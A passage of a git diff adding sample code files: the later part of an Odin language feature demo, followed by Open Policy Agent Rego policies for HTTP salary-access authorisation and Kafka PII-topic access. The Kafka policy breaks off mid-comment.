+        assert(context.user_index == 123);
+
+        // The memory management procedure use the `context.allocator` by
+        // default unless explicitly specified otherwise
+        china_grove := new(int);
+        free(china_grove);
+
+        _ = c;
+    }
+
+    my_custom_allocator :: mem.nil_allocator;
+    _ = c;
+
+    // By default, the context value has default values for its parameters which is
+    // decided in the package runtime. What the defaults are are compiler specific.
+
+    // To see what the implicit context value contains, please see the following
+    // definition in package runtime.
+}
+
+parametric_polymorphism :: proc() {
+    fmt.println("\n# parametric polymorphism");
+
+    print_value :: proc(value: $T) {
+        fmt.printf("print_value: %T %v\n", value, value);
+    }
+
+    v1: int    = 1;
+    v2: f32    = 2.1;
+    v3: f64    = 3.14;
+    v4: string = "message";
+
+    print_value(v1);
+    print_value(v2);
+    print_value(v3);
+    print_value(v4);
+
+    fmt.println();
+
+    add :: proc(p, q: $T) -> T {
+        x: T = p + q;
+        return x;
+    }
+
+    a := add(3, 4);
+    fmt.printf("a: %T = %v\n", a, a);
+
+    b := add(3.2, 4.3);
+    fmt.printf("b: %T = %v\n", b, b);
+
+    // This is how `new` is implemented
+    alloc_type :: proc($T: typeid) -> ^T {
+        t := cast(^T)alloc(size_of(T), align_of(T));
+        t^ = T{}; // Use default initialization value
+        return t;
+    }
+
+    copy_slice :: proc(dst, src: []$T) -> int {
+        n := min(len(dst), len(src));
+        if n > 0 {
+            mem.copy(&dst[0], &src[0], n*size_of(T));
+        }
+        return n;
+    }
+
+    double_params :: proc(a: $A, b: $B) -> A {
+        return a + A(b);
+    }
+
+    fmt.println(double_params(12, 1.345));
+
+
+
+    { // Polymorphic Types and Type Specialization
+        Table_Slot :: struct(Key, Value: typeid) {
+            occupied: bool,
+            hash:     u32,
+            key:      Key,
+            value:    Value,
+        };
+        TABLE_SIZE_MIN :: 32;
+        Table :: struct(Key, Value: typeid) {
+            count:     int,
+            allocator: mem.Allocator,
+            slots:     []Table_Slot(Key, Value),
+        };
+
+        // Only allow types that are specializations of a (polymorphic) slice
+        make_slice :: proc($T: typeid/[]$E, len: int) -> T {
+            return make(T, len);
+        }
+
+        // Only allow types that are specializations of `Table`
+        allocate :: proc(table: ^$T/Table, capacity: int) {
+            c := context;
+            if table.allocator.procedure != nil do c.allocator = table.allocator;
+            context = c;
+
+            table.slots = make_slice(type_of(table.slots), max(capacity, TABLE_SIZE_MIN));
+        }
+
+        expand :: proc(table: ^$T/Table) {
+            c := context;
+            if table.allocator.procedure != nil do c.allocator = table.allocator;
+            context = c;
+
+            old_slots := table.slots;
+            defer delete(old_slots);
+
+            cap := max(2*len(table.slots), TABLE_SIZE_MIN);
+            allocate(table, cap);
+
+            for s in old_slots do if s.occupied {
+                put(table, s.key, s.value);
+            }
+        }
+
+        // Polymorphic determination of a polymorphic struct
+        // put :: proc(table: ^$T/Table, key: T.Key, value: T.Value) {
+        put :: proc(table: ^Table($Key, $Value), key: Key, value: Value) {
+            hash := get_hash(key); // Ad-hoc method which would fail in a different scope
+            index := find_index(table, key, hash);
+            if index < 0 {
+                if f64(table.count) >= 0.75*f64(len(table.slots)) {
+                    expand(table);
+                }
+                assert(table.count <= len(table.slots));
+
+                index = int(hash % u32(len(table.slots)));
+
+                for table.slots[index].occupied {
+                    if index += 1; index >= len(table.slots) {
+                        index = 0;
+                    }
+                }
+
+                table.count += 1;
+            }
+
+            slot := &table.slots[index];
+            slot.occupied = true;
+            slot.hash     = hash;
+            slot.key      = key;
+            slot.value    = value;
+        }
+
+
+        // find :: proc(table: ^$T/Table, key: T.Key) -> (T.Value, bool) {
+        find :: proc(table: ^Table($Key, $Value), key: Key) -> (Value, bool) {
+            hash := get_hash(key);
+            index := find_index(table, key, hash);
+            if index < 0 {
+                return Value{}, false;
+            }
+            return table.slots[index].value, true;
+        }
+
+        find_index :: proc(table: ^Table($Key, $Value), key: Key, hash: u32) -> int {
+            if len(table.slots) <= 0 do return -1;
+
+            index := int(hash % u32(len(table.slots)));
+            for table.slots[index].occupied {
+                if table.slots[index].hash == hash {
+                    if table.slots[index].key == key {
+                        return index;
+                    }
+                }
+
+                if index += 1; index >= len(table.slots) {
+                    index = 0;
+                }
+            }
+
+            return -1;
+        }
+
+        get_hash :: proc(s: string) -> u32 { // fnv32a
+            h: u32 = 0x811c9dc5;
+            for i in 0..<len(s) {
+                h = (h ~ u32(s[i])) * 0x01000193;
+            }
+            return h;
+        }
+
+
+        table: Table(string, int);
+
+        for i in 0..36 do put(&table, "Hellope", i);
+        for i in 0..42 do put(&table, "World!",  i);
+
+        found, _ := find(&table, "Hellope");
+        fmt.printf("`found` is %v\n", found);
+
+        found, _ = find(&table, "World!");
+        fmt.printf("`found` is %v\n", found);
+
+        // I would not personally design a hash table like this in production
+        // but this is a nice basic example
+        // A better approach would either use a `u64` or equivalent for the key
+        // and let the user specify the hashing function or make the user store
+        // the hashing procedure with the table
+    }
+
+    { // Parametric polymorphic union
+        Error :: enum {
+            Foo0,
+            Foo1,
+            Foo2,
+            Foo3,
+        };
+        Para_Union :: union(T: typeid) {T, Error};
+        r: Para_Union(int);
+        fmt.println(typeid_of(type_of(r)));
+
+        fmt.println(r);
+        r = 123;
+        fmt.println(r);
+        r = Error.Foo0; // r = .Foo0; is allow too, see implicit selector expressions below
+        fmt.println(r);
+    }
+
+    { // Polymorphic names
+        foo :: proc($N: $I, $T: typeid) -> (res: [N]T) {
+            // `N` is the constant value passed
+            // `I` is the type of N
+            // `T` is the type passed
+            fmt.printf("Generating an array of type %v from the value %v of type %v\n",
+                       typeid_of(type_of(res)), N, typeid_of(I));
+            for i in 0..<N {
+                res[i] = T(i*i);
+            }
+            return;
+        }
+
+        T :: int;
+        array := foo(4, T);
+        for v, i in array {
+            assert(v == T(i*i));
+        }
+
+        // Matrix multiplication
+        mul :: proc(a: [$M][$N]$T, b: [N][$P]T) -> (c: [M][P]T) {
+            for i in 0..<M {
+                for j in 0..<P {
+                    for k in 0..<N {
+                        c[i][j] += a[i][k] * b[k][j];
+                    }
+                }
+            }
+            return;
+        }
+
+        x := [2][3]f32{
+            {1, 2, 3},
+            {3, 2, 1},
+        };
+        y := [3][2]f32{
+            {0, 8},
+            {6, 2},
+            {8, 4},
+        };
+        z := mul(x, y);
+        assert(z == {{36, 24}, {20, 32}});
+    }
+}
+
+
+prefix_table := [?]string{
+    "White",
+    "Red",
+    "Green",
+    "Blue",
+    "Octarine",
+    "Black",
+};
+
+threading_example :: proc() {
+    fmt.println("\n# threading_example");
+
+    { // Basic Threads
+        fmt.println("\n## Basic Threads");
+            worker_proc :: proc(t: ^thread.Thread) {
+            for iteration in 1..5 {
+                fmt.printf("Thread %d is on iteration %d\n", t.user_index, iteration);
+                fmt.printf("`%s`: iteration %d\n", prefix_table[t.user_index], iteration);
+                time.sleep(1 * time.Millisecond);
+            }
+        }
+
+        threads := make([dynamic]^thread.Thread, 0, len(prefix_table));
+        defer delete(threads);
+
+        for in prefix_table {
+            if t := thread.create(worker_proc); t != nil {
+                t.init_context = context;
+                t.use_init_context = true;
+                t.user_index = len(threads);
+                append(&threads, t);
+                thread.start(t);
+            }
+        }
+
+        for len(threads) > 0 {
+            for i := 0; i < len(threads); /**/ {
+                if t := threads[i]; thread.is_done(t) {
+                    fmt.printf("Thread %d is done\n", t.user_index);
+                    thread.destroy(t);
+
+                    ordered_remove(&threads, i);
+                } else {
+                    i += 1;
+                }
+            }
+        }
+    }
+
+    { // Thread Pool
+        fmt.println("\n## Thread Pool");
+        task_proc :: proc(t: ^thread.Task) {
+            index := t.user_index % len(prefix_table);
+            for iteration in 1..5 {
+                fmt.printf("Worker Task %d is on iteration %d\n", t.user_index, iteration);
+                fmt.printf("`%s`: iteration %d\n", prefix_table[index], iteration);
+                time.sleep(1 * time.Millisecond);
+            }
+        }
+
+        pool: thread.Pool;
+        thread.pool_init(pool=&pool, thread_count=3);
+        defer thread.pool_destroy(&pool);
+
+
+        for i in 0..<30 {
+            thread.pool_add_task(pool=&pool, procedure=task_proc, data=nil, user_index=i);
+        }
+
+        thread.pool_start(&pool);
+        thread.pool_wait_and_process(&pool);
+    }
+}
+
+
+array_programming :: proc() {
+    fmt.println("\n# array programming");
+    {
+        a := [3]f32{1, 2, 3};
+        b := [3]f32{5, 6, 7};
+        c := a * b;
+        d := a + b;
+        e := 1 +  (c - d) / 2;
+        fmt.printf("%.1f\n", e); // [0.5, 3.0, 6.5]
+    }
+
+    {
+        a := [3]f32{1, 2, 3};
+        b := swizzle(a, 2, 1, 0);
+        assert(b == [3]f32{3, 2, 1});
+
+        c := swizzle(a, 0, 0);
+        assert(c == [2]f32{1, 1});
+        assert(c == 1);
+    }
+
+    {
+        Vector3 :: distinct [3]f32;
+        a := Vector3{1, 2, 3};
+        b := Vector3{5, 6, 7};
+        c := (a * b)/2 + 1;
+        d := c.x + c.y + c.z;
+        fmt.printf("%.1f\n", d); // 22.0
+
+        cross :: proc(a, b: Vector3) -> Vector3 {
+            i := swizzle(a, 1, 2, 0) * swizzle(b, 2, 0, 1);
+            j := swizzle(a, 2, 0, 1) * swizzle(b, 1, 2, 0);
+            return i - j;
+        }
+
+        blah :: proc(a: Vector3) -> f32 {
+            return a.x + a.y + a.z;
+        }
+
+        x := cross(a, b);
+        fmt.println(x);
+        fmt.println(blah(x));
+    }
+}
+
+map_type :: proc() {
+    fmt.println("\n# map type");
+
+    m := make(map[string]int);
+    defer delete(m);
+
+    m["Bob"] = 2;
+    m["Ted"] = 5;
+    fmt.println(m["Bob"]);
+
+    delete_key(&m, "Ted");
+
+    // If an element of a key does not exist, the zero value of the
+    // element will be returned. To check to see if an element exists
+    // can be done in two ways:
+    elem, ok := m["Bob"];
+    exists := "Bob" in m;
+    _, _ = elem, ok;
+    _ = exists;
+}
+
+implicit_selector_expression :: proc() {
+    fmt.println("\n# implicit selector expression");
+
+    Foo :: enum {A, B, C};
+
+    f: Foo;
+    f = Foo.A;
+    f = .A;
+
+    BAR :: bit_set[Foo]{.B, .C};
+
+    switch f {
+    case .A:
+        fmt.println("HERE");
+    case .B:
+        fmt.println("NEVER");
+    case .C:
+        fmt.println("FOREVER");
+    }
+
+    my_map := make(map[Foo]int);
+    defer delete(my_map);
+
+    my_map[.A] = 123;
+    my_map[Foo.B] = 345;
+
+    fmt.println(my_map[.A] + my_map[Foo.B] + my_map[.C]);
+}
+
+
+partial_switch :: proc() {
+    fmt.println("\n# partial_switch");
+    { // enum
+        Foo :: enum {
+            A,
+            B,
+            C,
+            D,
+        };
+
+        f := Foo.A;
+        switch f {
+        case .A: fmt.println("A");
+        case .B: fmt.println("B");
+        case .C: fmt.println("C");
+        case .D: fmt.println("D");
+        case:    fmt.println("?");
+        }
+
+        #partial switch f {
+        case .A: fmt.println("A");
+        case .D: fmt.println("D");
+        }
+    }
+    { // union
+        Foo :: union {int, bool};
+        f: Foo = 123;
+        switch in f {
+        case int:  fmt.println("int");
+        case bool: fmt.println("bool");
+        case:
+        }
+
+        #partial switch in f {
+        case bool: fmt.println("bool");
+        }
+    }
+}
+
+cstring_example :: proc() {
+    fmt.println("\n# cstring_example");
+
+    W :: "Hellope";
+    X :: cstring(W);
+    Y :: string(X);
+
+    w := W;
+    _ = w;
+    x: cstring = X;
+    y: string = Y;
+    z := string(x);
+    fmt.println(x, y, z);
+    fmt.println(len(x), len(y), len(z));
+    fmt.println(len(W), len(X), len(Y));
+    // IMPORTANT NOTE for cstring variables
+    // len(cstring) is O(N)
+    // cast(string)cstring is O(N)
+}
+
+bit_set_type :: proc() {
+    fmt.println("\n# bit_set type");
+
+    {
+        using Day :: enum {
+            Sunday,
+            Monday,
+            Tuesday,
+            Wednesday,
+            Thursday,
+            Friday,
+            Saturday,
+        };
+
+        Days :: distinct bit_set[Day];
+        WEEKEND :: Days{Sunday, Saturday};
+
+        d: Days;
+        d = {Sunday, Monday};
+        e := d | WEEKEND;
+        e |= {Monday};
+        fmt.println(d, e);
+
+        ok := Saturday in e; // `in` is only allowed for `map` and `bit_set` types
+        fmt.println(ok);
+        if Saturday in e {
+            fmt.println("Saturday in", e);
+        }
+        X :: Saturday in WEEKEND; // Constant evaluation
+        fmt.println(X);
+        fmt.println("Cardinality:", card(e));
+    }
+    {
+        x: bit_set['A'..'Z'];
+        #assert(size_of(x) == size_of(u32));
+        y: bit_set[0..8; u16];
+        fmt.println(typeid_of(type_of(x))); // bit_set[A..Z]
+        fmt.println(typeid_of(type_of(y))); // bit_set[0..8; u16]
+
+        incl(&x, 'F');
+        assert('F' in x);
+        excl(&x, 'F');
+        assert('F' notin x);
+
+        y |= {1, 4, 2};
+        assert(2 in y);
+    }
+    {
+        Letters :: bit_set['A'..'Z'];
+        a := Letters{'A', 'B'};
+        b := Letters{'A', 'B', 'C', 'D', 'F'};
+        c := Letters{'A', 'B'};
+
+        assert(a <= b); // 'a' is a subset of 'b'
+        assert(b >= a); // 'b' is a superset of 'a'
+        assert(a < b);  // 'a' is a strict subset of 'b'
+        assert(b > a);  // 'b' is a strict superset of 'a'
+
+        assert(!(a < c)); // 'a' is a not strict subset of 'c'
+        assert(!(c > a)); // 'c' is a not strict superset of 'a'
+    }
+}
+
+deferred_procedure_associations :: proc() {
+    fmt.println("\n# deferred procedure associations");
+
+    @(deferred_out=closure)
+    open :: proc(s: string) -> bool {
+        fmt.println(s);
+        return true;
+    }
+
+    closure :: proc(ok: bool) {
+        fmt.println("Goodbye?", ok);
+    }
+
+    if open("Welcome") {
+        fmt.println("Something in the middle, mate.");
+    }
+}
+
+reflection :: proc() {
+    fmt.println("\n# reflection");
+
+    Foo :: struct {
+        x: int    `tag1`,
+        y: string `json:"y_field"`,
+        z: bool, // no tag
+    };
+
+    id := typeid_of(Foo);
+    names := reflect.struct_field_names(id);
+    types := reflect.struct_field_types(id);
+    tags  := reflect.struct_field_tags(id);
+
+    assert(len(names) == len(types) && len(names) == len(tags));
+
+    fmt.println("Foo :: struct {");
+    for tag, i in tags {
+        name, type := names[i], types[i];
+        if tag != "" {
+            fmt.printf("\t%s: %T `%s`,\n", name, type, tag);
+        } else {
+            fmt.printf("\t%s: %T,\n", name, type);
+        }
+    }
+    fmt.println("}");
+
+
+    for tag, i in tags {
+        if val, ok := reflect.struct_tag_lookup(tag, "json"); ok {
+            fmt.printf("json: %s -> %s\n", names[i], val);
+        }
+    }
+}
+
+quaternions :: proc() {
+    // Not just an April Fool's Joke any more, but a fully working thing!
+    fmt.println("\n# quaternions");
+
+    { // Quaternion operations
+        q := 1 + 2i + 3j + 4k;
+        r := quaternion(5, 6, 7, 8);
+        t := q * r;
+        fmt.printf("(%v) * (%v) = %v\n", q, r, t);
+        v := q / r;
+        fmt.printf("(%v) / (%v) = %v\n", q, r, v);
+        u := q + r;
+        fmt.printf("(%v) + (%v) = %v\n", q, r, u);
+        s := q - r;
+        fmt.printf("(%v) - (%v) = %v\n", q, r, s);
+    }
+    { // The quaternion types
+        q128: quaternion128; // 4xf32
+        q256: quaternion256; // 4xf64
+        q128 = quaternion(1, 0, 0, 0);
+        q256 = 1; // quaternion(1, 0, 0, 0);
+    }
+    { // Built-in procedures
+        q := 1 + 2i + 3j + 4k;
+        fmt.println("q =", q);
+        fmt.println("real(q) =", real(q));
+        fmt.println("imag(q) =", imag(q));
+        fmt.println("jmag(q) =", jmag(q));
+        fmt.println("kmag(q) =", kmag(q));
+        fmt.println("conj(q) =", conj(q));
+        fmt.println("abs(q)  =", abs(q));
+    }
+    { // Conversion of a complex type to a quaternion type
+        c := 1 + 2i;
+        q := quaternion256(c);
+        fmt.println(c);
+        fmt.println(q);
+    }
+    { // Memory layout of Quaternions
+        q := 1 + 2i + 3j + 4k;
+        a := transmute([4]f64)q;
+        fmt.println("Quaternion memory layout: xyzw/(ijkr)");
+        fmt.println(q); // 1.000+2.000i+3.000j+4.000k
+        fmt.println(a); // [2.000, 3.000, 4.000, 1.000]
+    }
+}
+
+inline_for_statement :: proc() {
+    fmt.println("\n#inline for statements");
+
+    // 'inline for' works the same as if the 'inline' prefix did not
+    // exist but these ranged loops are explicitly unrolled which can
+    // be very very useful for certain optimizations
+
+    fmt.println("Ranges");
+    inline for x, i in 1..<4 {
+        fmt.println(x, i);
+    }
+
+    fmt.println("Strings");
+    inline for r, i in "Hello, 世界" {
+        fmt.println(r, i);
+    }
+
+    fmt.println("Arrays");
+    inline for elem, idx in ([4]int{1, 4, 9, 16}) {
+        fmt.println(elem, idx);
+    }
+
+
+    Foo_Enum :: enum {
+        A = 1,
+        B,
+        C = 6,
+        D,
+    };
+    fmt.println("Enum types");
+    inline for elem, idx in Foo_Enum {
+        fmt.println(elem, idx);
+    }
+}
+
+where_clauses :: proc() {
+    fmt.println("\n#procedure 'where' clauses");
+
+    { // Sanity checks
+        simple_sanity_check :: proc(x: [2]int)
+            where len(x) > 1,
+                  type_of(x) == [2]int {
+            fmt.println(x);
+        }
+    }
+    { // Parametric polymorphism checks
+        cross_2d :: proc(a, b: $T/[2]$E) -> E
+            where intrinsics.type_is_numeric(E) {
+            return a.x*b.y - a.y*b.x;
+        }
+        cross_3d :: proc(a, b: $T/[3]$E) -> T
+            where intrinsics.type_is_numeric(E) {
+            x := a.y*b.z - a.z*b.y;
+            y := a.z*b.x - a.x*b.z;
+            z := a.x*b.y - a.y*b.z;
+            return T{x, y, z};
+        }
+
+        a := [2]int{1, 2};
+        b := [2]int{5, -3};
+        fmt.println(cross_2d(a, b));
+
+        x := [3]f32{1, 4, 9};
+        y := [3]f32{-5, 0, 3};
+        fmt.println(cross_3d(x, y));
+
+        // Failure case
+        // i := [2]bool{true, false};
+        // j := [2]bool{false, true};
+        // fmt.println(cross_2d(i, j));
+
+    }
+
+    { // Procedure groups usage
+        foo :: proc(x: [$N]int) -> bool
+            where N > 2 {
+            fmt.println(#procedure, "was called with the parameter", x);
+            return true;
+        }
+
+        bar :: proc(x: [$N]int) -> bool
+            where 0 < N,
+                  N <= 2 {
+            fmt.println(#procedure, "was called with the parameter", x);
+            return false;
+        }
+
+        baz :: proc{foo, bar};
+
+        x := [3]int{1, 2, 3};
+        y := [2]int{4, 9};
+        ok_x := baz(x);
+        ok_y := baz(y);
+        assert(ok_x == true);
+        assert(ok_y == false);
+    }
+
+    { // Record types
+        Foo :: struct(T: typeid, N: int)
+            where intrinsics.type_is_integer(T),
+                  N > 2 {
+            x: [N]T,
+            y: [N-2]T,
+        };
+
+        T :: i32;
+        N :: 5;
+        f: Foo(T, N);
+        #assert(size_of(f) == (N+N-2)*size_of(T));
+    }
+}
+
+
+when ODIN_OS == "windows" do foreign import kernel32 "system:kernel32.lib"
+
+foreign_system :: proc() {
+    fmt.println("\n#foreign system");
+    when ODIN_OS == "windows" {
+        // It is sometimes necessarily to interface with foreign code,
+        // such as a C library. In Odin, this is achieved through the
+        // foreign system. You can “import” a library into the code
+        // using the same semantics as a normal import declaration.
+
+        // This foreign import declaration will create a
+        // “foreign import name” which can then be used to associate
+        // entities within a foreign block.
+
+        foreign kernel32 {
+            ExitProcess :: proc "stdcall" (exit_code: u32) ---
+        }
+
+        // Foreign procedure declarations have the cdecl/c calling
+        // convention by default unless specified otherwise. Due to
+        // foreign procedures do not have a body declared within this
+        // code, you need append the --- symbol to the end to distinguish
+        // it as a procedure literal without a body and not a procedure type.
+
+        // The attributes system can be used to change specific properties
+        // of entities declared within a block:
+
+        @(default_calling_convention = "std")
+        foreign kernel32 {
+            @(link_name="GetLastError") get_last_error :: proc() -> i32 ---
+        }
+
+        // Example using the link_prefix attribute
+        @(default_calling_convention = "std")
+        @(link_prefix = "Get")
+        foreign kernel32 {
+            LastError :: proc() -> i32 ---
+        }
+    }
+}
+
+ranged_fields_for_array_compound_literals :: proc() {
+    fmt.println("\n#ranged fields for array compound literals");
+    { // Normal Array Literal
+        foo := [?]int{1, 4, 9, 16};
+        fmt.println(foo);
+    }
+    { // Indexed
+        foo := [?]int{
+            3 = 16,
+            1 = 4,
+            2 = 9,
+            0 = 1,
+        };
+        fmt.println(foo);
+    }
+    { // Ranges
+        i := 2;
+        foo := [?]int {
+            0 = 123,
+            5..9 = 54,
+            10..<16 = i*3 + (i-1)*2,
+        };
+        #assert(len(foo) == 16);
+        fmt.println(foo); // [123, 0, 0, 0, 0, 54, 54, 54, 54, 54, 8, 8, 8, 8, 8]
+    }
+    { // Slice and Dynamic Array support
+        i := 2;
+        foo_slice := []int {
+            0 = 123,
+            5..9 = 54,
+            10..<16 = i*3 + (i-1)*2,
+        };
+        assert(len(foo_slice) == 16);
+        fmt.println(foo_slice); // [123, 0, 0, 0, 0, 54, 54, 54, 54, 54, 8, 8, 8, 8, 8]
+
+        foo_dynamic_array := [dynamic]int {
+            0 = 123,
+            5..9 = 54,
+            10..<16 = i*3 + (i-1)*2,
+        };
+        assert(len(foo_dynamic_array) == 16);
+        fmt.println(foo_dynamic_array); // [123, 0, 0, 0, 0, 54, 54, 54, 54, 54, 8, 8, 8, 8, 8]
+    }
+}
+
+deprecated_attribute :: proc() {
+    @(deprecated="Use foo_v2 instead")
+    foo_v1 :: proc(x: int) {
+        fmt.println("foo_v1");
+    }
+    foo_v2 :: proc(x: int) {
+        fmt.println("foo_v2");
+    }
+
+    // NOTE: Uncomment to see the warning messages
+    // foo_v1(1);
+}
+
+range_statements_with_multiple_return_values :: proc() {
+    // IMPORTANT NOTE(bill, 2019-11-02): This feature is subject to be changed/removed
+    fmt.println("\n#range statements with multiple return values");
+    My_Iterator :: struct {
+        index: int,
+        data:  []i32,
+    };
+    make_my_iterator :: proc(data: []i32) -> My_Iterator {
+        return My_Iterator{data = data};
+    }
+    my_iterator :: proc(it: ^My_Iterator) -> (val: i32, idx: int, cond: bool) {
+        if cond = it.index < len(it.data); cond {
+            val = it.data[it.index];
+            idx = it.index;
+            it.index += 1;
+        }
+        return;
+    }
+
+    data := make([]i32, 6);
+    for _, i in data {
+        data[i] = i32(i*i);
+    }
+
+    {
+        it := make_my_iterator(data);
+        for val in my_iterator(&it) {
+            fmt.println(val);
+        }
+    }
+    {
+        it := make_my_iterator(data);
+        for val, idx in my_iterator(&it) {
+            fmt.println(val, idx);
+        }
+    }
+    {
+        it := make_my_iterator(data);
+        for {
+            val, _, cond := my_iterator(&it);
+            if !cond do break;
+            fmt.println(val);
+        }
+    }
+}
+
+soa_struct_layout :: proc() {
+    // IMPORTANT NOTE(bill, 2019-11-03): This feature is subject to be changed/removed
+    // NOTE(bill): Most likely #soa [N]T
+    fmt.println("\n#SOA Struct Layout");
+
+    {
+        Vector3 :: struct {x, y, z: f32};
+
+        N :: 2;
+        v_aos: [N]Vector3;
+        v_aos[0].x = 1;
+        v_aos[0].y = 4;
+        v_aos[0].z = 9;
+
+        fmt.println(len(v_aos));
+        fmt.println(v_aos[0]);
+        fmt.println(v_aos[0].x);
+        fmt.println(&v_aos[0].x);
+
+        v_aos[1] = {0, 3, 4};
+        v_aos[1].x = 2;
+        fmt.println(v_aos[1]);
+        fmt.println(v_aos);
+
+        v_soa: #soa[N]Vector3;
+
+        v_soa[0].x = 1;
+        v_soa[0].y = 4;
+        v_soa[0].z = 9;
+
+
+        // Same syntax as AOS and treat as if it was an array
+        fmt.println(len(v_soa));
+        fmt.println(v_soa[0]);
+        fmt.println(v_soa[0].x);
+        fmt.println(&v_soa[0].x);
+        v_soa[1] = {0, 3, 4};
+        v_soa[1].x = 2;
+        fmt.println(v_soa[1]);
+
+        // Can use SOA syntax if necessary
+        v_soa.x[0] = 1;
+        v_soa.y[0] = 4;
+        v_soa.z[0] = 9;
+        fmt.println(v_soa.x[0]);
+
+        // Same pointer addresses with both syntaxes
+        assert(&v_soa[0].x == &v_soa.x[0]);
+
+
+        // Same fmt printing
+        fmt.println(v_aos);
+        fmt.println(v_soa);
+    }
+    {
+        // Works with arrays of length <= 4 which have the implicit fields xyzw/rgba
+        Vector3 :: distinct [3]f32;
+
+        N :: 2;
+        v_aos: [N]Vector3;
+        v_aos[0].x = 1;
+        v_aos[0].y = 4;
+        v_aos[0].z = 9;
+
+        v_soa: #soa[N]Vector3;
+
+        v_soa[0].x = 1;
+        v_soa[0].y = 4;
+        v_soa[0].z = 9;
+    }
+    {
+        // SOA Slices
+        // Vector3 :: struct {x, y, z: f32};
+        Vector3 :: struct {x: i8, y: i16, z: f32};
+
+        N :: 3;
+        v: #soa[N]Vector3;
+        v[0].x = 1;
+        v[0].y = 4;
+        v[0].z = 9;
+
+        s: #soa[]Vector3;
+        s = v[:];
+        assert(len(s) == N);
+        fmt.println(s);
+        fmt.println(s[0].x);
+
+        a := s[1:2];
+        assert(len(a) == 1);
+        fmt.println(a);
+
+        d: #soa[dynamic]Vector3;
+
+        append_soa(&d, Vector3{1, 2, 3}, Vector3{4, 5, 9}, Vector3{-4, -4, 3});
+        fmt.println(d);
+        fmt.println(len(d));
+        fmt.println(cap(d));
+        fmt.println(d[:]);
+    }
+}
+
+constant_literal_expressions :: proc() {
+    fmt.println("\n#constant literal expressions");
+
+    Bar :: struct {x, y: f32};
+    Foo :: struct {a, b: int, using c: Bar};
+
+    FOO_CONST :: Foo{b = 2, a = 1, c = {3, 4}};
+
+
+    fmt.println(FOO_CONST.a);
+    fmt.println(FOO_CONST.b);
+    fmt.println(FOO_CONST.c);
+    fmt.println(FOO_CONST.c.x);
+    fmt.println(FOO_CONST.c.y);
+    fmt.println(FOO_CONST.x); // using works as expected
+    fmt.println(FOO_CONST.y);
+
+    fmt.println("-------");
+
+    ARRAY_CONST :: [3]int{1 = 4, 2 = 9, 0 = 1};
+
+    fmt.println(ARRAY_CONST[0]);
+    fmt.println(ARRAY_CONST[1]);
+    fmt.println(ARRAY_CONST[2]);
+
+    fmt.println("-------");
+
+    FOO_ARRAY_DEFAULTS :: [3]Foo{{}, {}, {}};
+    fmt.println(FOO_ARRAY_DEFAULTS[2].x);
+
+    fmt.println("-------");
+
+    Baz :: enum{A=5, B, C, D};
+    ENUM_ARRAY_CONST :: [Baz]int{.A .. .C = 1, .D = 16};
+
+    fmt.println(ENUM_ARRAY_CONST[.A]);
+    fmt.println(ENUM_ARRAY_CONST[.B]);
+    fmt.println(ENUM_ARRAY_CONST[.C]);
+    fmt.println(ENUM_ARRAY_CONST[.D]);
+
+    fmt.println("-------");
+
+    Partial_Baz :: enum{A=5, B, C, D=16};
+    #assert(len(Partial_Baz) < len(#partial [Partial_Baz]int));
+    PARTIAL_ENUM_ARRAY_CONST :: #partial [Partial_Baz]int{.A .. .C = 1, .D = 16};
+
+    fmt.println(PARTIAL_ENUM_ARRAY_CONST[.A]);
+    fmt.println(PARTIAL_ENUM_ARRAY_CONST[.B]);
+    fmt.println(PARTIAL_ENUM_ARRAY_CONST[.C]);
+    fmt.println(PARTIAL_ENUM_ARRAY_CONST[.D]);
+
+    fmt.println("-------");
+
+
+    STRING_CONST :: "Hellope!";
+
+    fmt.println(STRING_CONST[0]);
+    fmt.println(STRING_CONST[2]);
+    fmt.println(STRING_CONST[3]);
+
+    fmt.println(STRING_CONST[0:5]);
+    fmt.println(STRING_CONST[3:][:4]);
+}
+
+
+main :: proc() {
+    when true {
+        the_basics();
+        control_flow();
+        named_proc_return_parameters();
+        explicit_procedure_overloading();
+        struct_type();
+        union_type();
+        using_statement();
+        implicit_context_system();
+        parametric_polymorphism();
+        array_programming();
+        map_type();
+        implicit_selector_expression();
+        partial_switch();
+        cstring_example();
+        bit_set_type();
+        deferred_procedure_associations();
+        reflection();
+        quaternions();
+        inline_for_statement();
+        where_clauses();
+        foreign_system();
+        ranged_fields_for_array_compound_literals();
+        deprecated_attribute();
+        range_statements_with_multiple_return_values();
+        threading_example();
+        soa_struct_layout();
+        constant_literal_expressions();
+    }
+}
\ No newline at end of file
diff --git a/samples/Open Policy Agent/httpapi.rego b/samples/Open Policy Agent/httpapi.rego
new file mode 100644
index 0000000000..6a5041d05f
--- /dev/null
+++ b/samples/Open Policy Agent/httpapi.rego	
@@ -0,0 +1,23 @@
+package httpapi.authz
+
+# bob is alice's manager, and betty is charlie's.
+subordinates = {"alice": [], "charlie": [], "bob": ["alice"], "betty": ["charlie"]}
+
+# HTTP API request
+import input as http_api
+
+default allow = false
+
+# Allow users to get their own salaries.
+allow {
+  http_api.method = "GET"
+  http_api.path = ["finance", "salary", username]
+  username = http_api.user
+}
+
+# Allow managers to get their subordinates' salaries.
+allow {
+  http_api.method = "GET"
+  http_api.path = ["finance", "salary", username]
+  subordinates[http_api.user][_] = username
+}
diff --git a/samples/Open Policy Agent/kafka.rego b/samples/Open Policy Agent/kafka.rego
new file mode 100644
index 0000000000..96ab653606
--- /dev/null
+++ b/samples/Open Policy Agent/kafka.rego	
@@ -0,0 +1,77 @@
+#-----------------------------------------------------------------------------
+# High level policy for controlling access to Kafka.
+#
+# * Deny operations by default.
+# * Allow operations if no explicit denial.
+#
+# The kafka-authorizer-opa plugin will query OPA for decisions at
+# /kafka/authz/allow. If the policy decision is _true_ the request is allowed.
+# If the policy decision is _false_ the request is denied.
+#-----------------------------------------------------------------------------
+package kafka.authz
+
+default allow = false
+
+allow {
+    not deny
+}
+
+deny {
+    is_read_operation
+    topic_contains_pii
+    not consumer_is_whitelisted_for_pii
+}
+
+#-----------------------------------------------------------------------------
+# Data structures for controlling access to topics. In real-world deployments,
+# these data structures could be loaded into OPA as raw JSON data. The JSON
+# data could be pulled from external sources like AD, Git, etc.
+#-----------------------------------------------------------------------------
+
+consumer_whitelist = {"pii": {"pii_consumer"}}
+
+topic_metadata = {"credit-scores": {"tags": ["pii"]}}
+
+#-----------------------------------
+# Helpers for checking topic access.
+#-----------------------------------
+
+topic_contains_pii {
+    topic_metadata[topic_name].tags[_] == "pii"
+}
+
+consumer_is_whitelisted_for_pii {
+    consumer_whitelist.pii[_] == principal.name
+}
+
+#-----------------------------------------------------------------------------
+# Helpers for processing Kafka operation input. This logic could be split out
